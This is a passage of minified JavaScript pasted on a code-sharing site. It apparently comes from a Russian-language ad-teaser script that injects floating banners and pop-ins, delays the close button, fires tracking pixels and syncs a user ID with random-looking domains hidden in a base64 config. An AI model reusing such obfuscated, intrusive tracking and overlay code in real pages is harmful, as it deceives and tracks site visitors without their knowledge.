  2005.             k = j.documentElement,
  2006.             s = 200,
  2007.             n, r, t, l = "z-index:10000;overflow:hidden;bottom:0;height:100%;width:100%;background:none;",
  2008.             m = "margin:20px 0 0;position:absolute;top:0;width:100%;height:100%;",
  2009.             q = "position:absolute;width:100%;height:20px;top:-20px;";
  2010.         this.n = a;
  2011.         switch (a.bannerPosition) {
  2012.         case 6:
  2013.             t = "left";
  2014.             l += "left: 0;";
  2015.             m += "padding:0 30px 5px 5px;background:url(" + x.a.scriptsDomain + "img/bottom_l.png) no-repeat 100% bottom;";
  2016.             q += "right:0;background:url(" + x.a.scriptsDomain + "img/top_l.png) no-repeat 100% 0;";
  2017.             break;
  2018.         default:
  2019.             t = "right", l += "right: 0;", m += "padding:0 5px 5px 30px;background:url(" + x.a.scriptsDomain + "img/bottom_r.png) no-repeat 0 bottom;", q += "left:0;background:url(" + x.a.scriptsDomain + "img/top_r.png) no-repeat 0 0;"
  2020.         }
  2021.         this.height = this.width = 0;
  2022.         g.innerHTML = '\x3cspan style\x3d"float: left;font: bold 14px Arial; color: #701C1F;"\x3e\u0427\u0418\u0422\u0410\u0419\u0422\u0415 \u0422\u0410\u041a\u0416\u0415\x3c/span\x3e\x3cspan style\x3d"float: right; font: 12px/16px Arial; color:#666;cursor: pointer;" id\x3d"close_' +
  2023.             f + '"\x3e\u0417\u0430\u043a\u0440\u044b\u0442\u044c\x3c/span\x3e\x3cdiv style\x3d"clear: both;"\x3e\x3c/div\x3e';
  2024.         g.appendChild(p);
  2025.         g.className += "br-cntnr";
  2026.         p.style.cssText = q;
  2027.         g.style.cssText = m;
  2028.         g.id = f;
  2029.         d.u() ? l += "position:fixed;" : (l += "position:absolute;", d.X({
  2030.             C: h
  2031.         }), this.b(v, "scroll", function () {
  2032.             d.X({
  2033.                 C: h
  2034.             })
  2035.         }, !1));
  2036.         h.style.cssText = l;
  2037.         h.appendChild(g);
  2038.         this.G(g, a);
  2039.         j.body.appendChild(h);
  2040.         h.style.width = a.width + a.widthUnit;
  2041.         l = h.offsetWidth - 35;
  2042.         g.style.width = 790 > l ? l + "px" : "755px";
  2043.         this.qa(a, f);
  2044.         h.style.width = this.width + 35 +
  2045.             "px";
  2046.         g.style[t] = "-" + this.width + "px";
  2047.         g.style.width = this.width + "px";
  2048.         h.style.height = this.height + 70 + "px";
  2049.         g.style.height = this.height + 45 + "px";
  2050.         p.style.width = h.style.width;
  2051.         h.style.display = "none";
  2052.         this.b(v, "scroll", function () {
  2053.             b()
  2054.         }, !1);
  2055.         this.b(v, "resize", function () {
  2056.             b()
  2057.         }, !1);
  2058.         j.getElementById("close_" + f).onclick = function () {
  2059.             c(!0)
  2060.         };
  2061.         this.wrap = h;
  2062.         this.data = a;
  2063.         this.id = f;
  2064.         return this
  2065.     };
  2066.     fa.prototype.qa = function (a, b) {
  2067.         function c(a, b) {
  2068.             a.style.cssText = n.q[b];
  2069.             f.b(a, "mouseover", function () {
  2070.                 a.style.cssText = n.A[b]
  2071.             }, !1);
  2072.             f.b(a, "mouseout",
  2073.                 function () {
  2074.                     a.style.cssText = n.q[b]
  2075.                 }, !1)
  2076.         }
  2077.  
  2078.         function e(a, b) {
  2079.             f.b(a, "mouseover", function () {
  2080.                 b.style.cssText = n.A.sPText
  2081.             }, !0);
  2082.             f.b(a, "mouseout", function () {
  2083.                 b.style.cssText = n.q.sPText
  2084.             }, !0)
  2085.         }
  2086.         var f = this,
  2087.             h = j.createElement("table"),
  2088.             p = j.getElementById(b),
  2089.             g = j.createElement("tbody"),
  2090.             k = j.createDocumentFragment(),
  2091.             s = j.createElement("img"),
  2092.             n = this,
  2093.             r = void 0,
  2094.             t;
  2095.         if (!r) switch (r = {}, r.size = parseInt(a.bannerSize, 10) + 2 * parseInt(a.imgBorderWidth, 10), t = r.size + parseInt(a.imgMarginSize, 10), a.orientation) {
  2096.         case "over":
  2097.             r.margin = "0";
  2098.             r.B = "0 0 " +
  2099.                 a.imgMarginSize + "px";
  2100.             r.i = "none";
  2101.             r.v = "center";
  2102.             r.w = {
  2103.                 top: -(a.bannerSizeOnmouseover - a.bannerSize),
  2104.                 left: -(a.bannerSizeOnmouseover - a.bannerSize) / 2
  2105.             };
  2106.             break;
  2107.         case "left":
  2108.             r.margin = "0 0 0 " + t + "px";
  2109.             r.B = "0 -" + t + "px 0 0";
  2110.             r.i = "left";
  2111.             r.v = "left";
  2112.             r.w = {
  2113.                 top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2,
  2114.                 left: -(a.bannerSizeOnmouseover - a.bannerSize)
  2115.             };
  2116.             break;
  2117.         case "right":
  2118.             r.margin = "0 " + t + "px 0 0", r.B = "0 0 0 -" + t + "px", r.i = "right", r.v = "left", r.w = {
  2119.                 top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2,
  2120.                 left: 0
  2121.             }
  2122.         }
  2123.         t = r;
  2124.         var l = d.O() ? "display:inline;zoom:1;" :
  2125.             "display:inline-block;",
  2126.             m = parseInt(a.textSize, 10),
  2127.             q = m + (parseInt(a.textMouseOnTextSize, 10) - parseInt(a.textSize, 10)),
  2128.             u = m + (parseInt(a.textMouseOnTeaserSize, 10) - parseInt(a.textSize, 10));
  2129.         this.g = parseInt(a.textDivHeight, 10);
  2130.         n.q = {
  2131.             table: "table-layout:fixed;background:" + a.background + ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:" + a.width + a.widthUnit + ";border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor + ";",
  2132.             td: "vertical-align:top;background:" + a.cellBackground +
  2133.                 ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + t.v + ";width:" + a.width / a.horizCount + a.widthUnit + ";",
  2134.             div: "z-index:1;margin:" + t.B + ";position:relative;" + l + ";height:" + t.size + "px;width:" + t.size + "px;float:" + t.i + ";",
  2135.             img: "overflow:hidden;z-index:1;position:absolute;top:0;left:0;width:" + a.bannerSize + "px;height:" + a.bannerSize + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor + ";",
  2136.             text: "margin:" + t.margin + ";cursor:pointer;float:" + t.i +
  2137.                 ";height:" + (0 != this.g ? this.g + "px" : "auto") + ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + m + a.textSizeUnit + ";font-family:" + a.textFont + ";color:" + a.textColor + ";",
  2138.             sPText: "margin:" + t.margin + ";cursor:pointer;float:" + t.i + ";height:" + (0 != this.g ? this.g + "px" : "auto") + ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textFontBold ? "700" : "100") + ";font-size:" +
  2139.                 m + a.textSizeUnit + ";font-family:" + a.textFont + ";color:" + a.textColor + ";"
  2140.         };
  2141.         n.A = {
  2142.             table: "table-layout:fixed;background:" + a.backgroundOnmouseover + ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:" + a.width + a.widthUnit + ";border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor + ";",
  2143.             td: "vertical-align:top;background:" + a.cellBackgroundOnmouseover + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + t.v + ";width:" +
  2144.                 a.width / a.horizCount + a.widthUnit + ";",
  2145.             div: "z-index:5;margin:" + t.B + ";position:relative;" + l + ";height:" + t.size + "px;width:" + t.size + "px;float:" + t.i + ";",
  2146.             img: "overflow:hidden;z-index:10;cursor:pointer;position:absolute;top:" + r.w.top + "px;left:" + r.w.left + "px;height:" + a.bannerSizeOnmouseover + "px;width:" + a.bannerSizeOnmouseover + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor + ";",
  2147.             text: "margin:" + t.margin + ";cursor:pointer;float:" + t.i + ";height:" + (0 != this.g ? this.g + "px" : "auto") + ";text-decoration:" +
  2148.                 ("false" != a.textMouseOnTextFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTextFontBold ? "700" : "100") + ";font-size:" + q + a.textMouseOnTextSizeUnit + ";font-family:" + a.textMouseOnTextFont + ";color:" + a.textMouseOnTextColor + ";",
  2149.             sPText: "margin:" + t.margin + ";cursor:pointer;float:" + t.i + ";height:" + (0 != this.g ? this.g + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTeaserFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTeaserFontBold ?
  2150.                 "700" : "100") + ";font-size:" + u + a.textMouseOnTeaserSizeUnit + ";font-family:" + a.textMouseOnTeaserFont + ";color:" + a.textMouseOnTeaserColor + ";"
  2151.         };
  2152.         f.ka && (n.q.text += "word-break:break-all;", n.A.text += "word-break:break-all;", n.A.sPText += "word-break:break-all;", n.q.sPText += "word-break:break-all;");
  2153.         this.Na = function () {
  2154.             0 == this.g && (this.g = "over" == a.orientation ? 35 : a.bannerSize)
  2155.         };
  2156.         if (!p) {
  2157.             l = j.getElementsByTagName("script");
  2158.             m = RegExp("bid\x3d(" + a.blockId + ")(\\D|.{0}$)");
  2159.             r = 0;
  2160.             for (q = l.length; r < q; r += 1)
  2161.                 if (-1 != l[r].src.indexOf(x.a.rotatorDomain) &&
  2162.                     m.test(d.F(l[r].src)) || -1 != l[r].text.indexOf(x.a.rotatorDomain) && -1 != l[r].text.indexOf(x.a.trsKey)) {
  2163.                     m = j.createElement("div");
  2164.                     m.id = "wzblock" + a.blockId;
  2165.                     l[r].parentNode.insertBefore(m, l[r].nextSibling);
  2166.                     break
  2167.                 }
  2168.         }
  2169.         v.globalInfo.arrBlocks = [];
  2170.         this.data = a;
  2171.         k.appendChild(h);
  2172.         c(h, "table");
  2173.         for (r = l = 0; r < a.vertCount; r += 1) {
  2174.             m = j.createElement("tr");
  2175.             for (q = 0; q < a.horizCount; q += 1) {
  2176.                 var u = a.teasers[l],
  2177.                     y = u.iframeUrl ? !0 : !1,
  2178.                     w = {
  2179.                         td: j.createElement("td"),
  2180.                         img: j.createElement("img"),
  2181.                         text: j.createElement("span"),
  2182.                         div: j.createElement("span")
  2183.                     },
  2184.                     B = j.createElement("span"),
  2185.                     A = j.createElement("a");
  2186.                 l++;
  2187.                 for (var C in w) c(w[C], C), "td" == C && e(w[C], w.text);
  2188.                 var D = u.trackingDomain;
  2189.                 B.innerHTML = this.z(u.title);
  2190.                 w.text.className = "wzTextSpan";
  2191.                 w.text.appendChild(B);
  2192.                 v.globalInfo.arrBlocks.push(w.text);
  2193.                 y ? (y = j.createElement("div"), d.U(u.iframeUrl + (0 < u.iframeUrl.indexOf("?") ? "\x26" : "?") + "frmSize\x3d" + t.size, y).style.cssText = "overflow:hidden; border:none;", w.div.appendChild(y), console.log("Own click:"), console.log(!u.useOwnClick), u.useOwnClick || (B = j.createElement("a"),
  2194.                     y.appendChild(B), B.style.cssText = "text-decoration:none;display:block;position:absolute;left:0;top:0; width:100%;height:100%;z-index:2", B.target = "_blank", B.href = u.trackingDomain + d.e(u.clickUri)), c(y, "img")) : (w.img.src = x.a.imgDomain + u.src, w.img.title = this.z(u.title), w.img.alt = this.z(u.title), w.img.setAttribute("clickUri", u.clickUri), d.O() && (w.img.onclick = function () {
  2195.                     v.open(D + d.e(this.getAttribute("clickUri") + f.t()))
  2196.                 }), w.div.appendChild(w.img));
  2197.                 A.target = "_blank";
  2198.                 A.href = u.trackingDomain + d.e(u.clickUri);
  2199.                 A.style.cssText = "text-decoration:none;display:block;";
  2200.                 A.setAttribute("clickUri", u.clickUri);
  2201.                 A.onclick = function () {
  2202.                     this.href = D + d.e(this.getAttribute("clickUri") + f.t())
  2203.                 };
  2204.                 A.appendChild(w.div);
  2205.                 A.appendChild(w.text);
  2206.                 w.td.appendChild(A);
  2207.                 m.appendChild(w.td)
  2208.             }
  2209.             g.appendChild(m);
  2210.             h.appendChild(g)
  2211.         }
  2212.         s.src = a.teasers[0].impDomain + d.e(a.trackShowUri);
  2213.         s.style.cssText = this.L;
  2214.         k.appendChild(s);
  2215.         p.appendChild(k);
  2216.         p.className += "br-cntnr";
  2217.         this.height = h.offsetHeight;
  2218.         this.width = h.offsetWidth;
  2219.         if ("px" != this.data.widthUnit) {
  2220.             var E =
  2221.                 h.offsetWidth;
  2222.             v.onresize = function () {
  2223.                 10 < Math.abs(E - h.offsetWidth) && (width = E = h.offsetWidth)
  2224.             }
  2225.         }
  2226.     };
  2227.     D(Xa, fa);
  2228.     Xa.prototype.m = function (a) {
  2229.         var b = this,
  2230.             c = "wzPopin" + (new Date).getTime(),
  2231.             e = document.createElement("div"),
  2232.             f = document.createElement("div"),
  2233.             h = document.createElement("span"),
  2234.             j, g, k = "z-index:9999;overflow:hidden;height:0;width:100%;background:none;",
  2235.             n = "background:#fff;position:absolute;",
  2236.             p = "100" == a.height && "%" == a.heightUnit;
  2237.         if (p) switch (a.bannerPosition) {
  2238.         case 0:
  2239.         case 6:
  2240.             a.bannerPosition = 3;
  2241.             break;
  2242.         case 2:
  2243.         case 8:
  2244.             a.bannerPosition =
  2245.                 5
  2246.         }
  2247.         switch (a.bannerPosition) {
  2248.         case 0:
  2249.             j = "bottom";
  2250.             k += "top:0;left:0;";
  2251.             n += "margin: 0 0 20px;bottom:0;left:0;right:0;";
  2252.             g = "bottom";
  2253.             break;
  2254.         case 2:
  2255.             j = "bottom";
  2256.             k += "top:0;right:0;";
  2257.             n += "margin: 0 0 20px;bottom:0;left:0;";
  2258.             g = "bottom";
  2259.             break;
  2260.         case 3:
  2261.             j = "right";
  2262.             k += "top:0;left:0;";
  2263.             n += "margin: 20px 0 0;bottom:0;top:0;right:0;";
  2264.             g = "top";
  2265.             break;
  2266.         case 5:
  2267.             j = "left";
  2268.             k += "top:0;right:0;";
  2269.             n += "margin: 20px 0 0;bottom:0;top:0;left:0;right:0;";
  2270.             g = "top";
  2271.             break;
  2272.         case 6:
  2273.             j = "top";
  2274.             k += "bottom:0;left:0;";
  2275.             n += "margin: 20px 0 0;top:0;left:0;right:0;";
  2276.             g = "top";
  2277.             break;
  2278.         default:
  2279.             j = "top", k += "bottom:0;right:0;", n += "margin: 20px 0 0;bottom:0;top:0;left:0;right:0;", g = "top"
  2280.         }
  2281.         this.width = this.height = 0;
  2282.         f.style.cssText = n;
  2283.         f.id = c;
  2284.         d.u() ? k += "position:fixed;" : (k += "position:absolute;", d.X({
  2285.             C: e
  2286.         }), v.onscroll = function () {
  2287.             d.X({
  2288.                 C: e
  2289.             })
  2290.         });
  2291.         e.style.cssText = k;
  2292.         e.appendChild(f);
  2293.         h.style.cssText = "position: absolute; " + g + ": -17px; right: 10px;font: 12px/17px Arial; color:#666;cursor: pointer;";
  2294.         h.innerHTML = "\u0417\u0430\u043a\u0440\u044b\u0442\u044c";
  2295.         setTimeout(function () {
  2296.                 f.appendChild(h)
  2297.             },
  2298.             5E3);
  2299.         this.G(f, a);
  2300.         document.body.appendChild(e);
  2301.         e.style.width = a.width + a.widthUnit;
  2302.         f.style.width = e.offsetWidth - 0 + "px";
  2303.         this.qa(a, c);
  2304.         p ? (e.style.height = "100%", f.style[j] = e.offsetWidth + "px", f.style.height = "100%") : (e.style.height = this.height + 20 + "px", f.style[j] = e.style.height, f.style.height = this.height + "px");
  2305.         f.style.width = this.width + "px";
  2306.         h.onclick = function () {
  2307.             b.close(a, e)
  2308.         };
  2309.         setTimeout(function () {
  2310.             var a = setInterval(function () {
  2311.                     0 < parseInt(f.style[j], 10) ? f.style[j] = parseInt(f.style[j], 10) - 10 + "px" : (f.style[j] = 0, clearInterval(a))
  2312.                 },
  2313.                 20)
  2314.         }, 1E3);
  2315.         this.wrap = e;
  2316.         this.data = a;
  2317.         this.id = c;
  2318.         return this
  2319.     };
  2320.     var Cb = new va,
  2321.         Db = new Ra,
  2322.         Eb = new Sa,
  2323.         Fb = new Ta,
  2324.         Gb = new ba,
  2325.         Hb = new Ua,
  2326.         Ib = new wa,
  2327.         Jb = new Va,
  2328.         Kb = new ea,
  2329.         Lb = new fa,
  2330.         Mb = new Xa,
  2331.         Nb = new Wa,
  2332.         d = new qb,
  2333.         x = new pb(vb)
  2334. })(window, document, "eyJ2ZXJzaW9ucyI6eyJtcm90IjoiMTQwMjUyODE3NjEwNCIsImRpcmVjdCI6IjE0MDI1MjgxNzYxMDQiLCJzY3IiOiIxLzIyLmpzPzI0Iiwicm90IjoiMS8zLmpzPzI0IiwidGwiOiIxLzEyLmpzPzI0IiwiY29tbW9uIjoiMS8xLmpzPzI0IiwibXBwdW5kIjoiMTQwMjUyODE3NjEwNCIsImFzIjoiMS8yLmpzPzI0IiwiaWNxIjoiMTQwMjUyODE3NjEwNCIsImJyIjoiMS8xMS5qcz8yNCIsInZrbSI6IjEvMjEuanM_MjQiLCJ0c3IiOiIxLzE4LmpzPzI0IiwicGQiOiIxNDAyNTI4MTc2MTA0IiwicHB1bmQiOiIxNDAyNTI4MTc2MTA0Iiwic2dtIjoiMTQwMjUyODE3NjEwNCIsInBpbiI6IjEvMjMuanM_MjQiLCJqc2ZyIjoiMTQwMjUyODE3NjEwNCIsInBvcHVwIjoiMS80LmpzPzI0IiwibWRpcmVjdCI6IjE0MDI1MjgxNzYxMDQiLCJmciI6IjE0MDI1MjgxNzYxMDQiLCJ3YmwiOiIxNDAyNTI4MTc2MTA0IiwiZW0iOiIxNDAyNTI4MTc2MTA0IiwiY2YiOiIxLzE1LmpzPzI0In0sInNjcmlwdHNEb21haW4iOiJodHRwOi8vcnNreHRxY2hnLm5vdC1vbmx5LmluZm8vanMvIiwicnRVcmkiOiIvP3Q9cnJ0JmJsb2NraWRzPTM4OTkzJnRyc0tleT0xNjk3ODQmdWlkPTc0YmYxNjgwLWYxYmQtMTFlMy04NTY4LTAwMjU5MDY3ZGI1NSIsInVrRG9tYWluIjoiaHR0cDovL3NlYS53YXZldmlldy5pbmZvL3VrLyIsInVrVXJpIjoidD1zeW5jJnV1aWQ9NzRiZjE2ODAtZjFiZC0xMWUzLTg1NjgtMDAyNTkwNjdkYjU1JnJkPXJza3h0cWNoZy5ub3Qtb25seS5pbmZvIiwicm90YXRvckRvbWFpbiI6Imh0dHA6Ly9yc2t4dHFjaGcubm90LW9ubHkuaW5mbyIsImltZ0RvbWFpbiI6Imh0dHA6Ly9zbGQuTkVYVC1GRVcuSU5GTyIsInRyc0tleSI6IjE2OTc4NCIsImZvcmVpZ25VaWQiOm51bGwsImRvbnRHb1RvVUsiOm51bGwsImFyVWlkIjpudWxsLCJnRm9yZWlnblVpZCI6bnVsbCwiZ01hdGNoaW5nVXJsIjpudWxsLCJmciI6bnVsbCwiYWZyYW1lVXJsIjoiaHR0cDovL2V4aXN0LmJ1aWx0LWRyeS5pbmZvLzMuaHRtbCAifQ");
Advertisement
Add Comment
Please, Sign In to add comment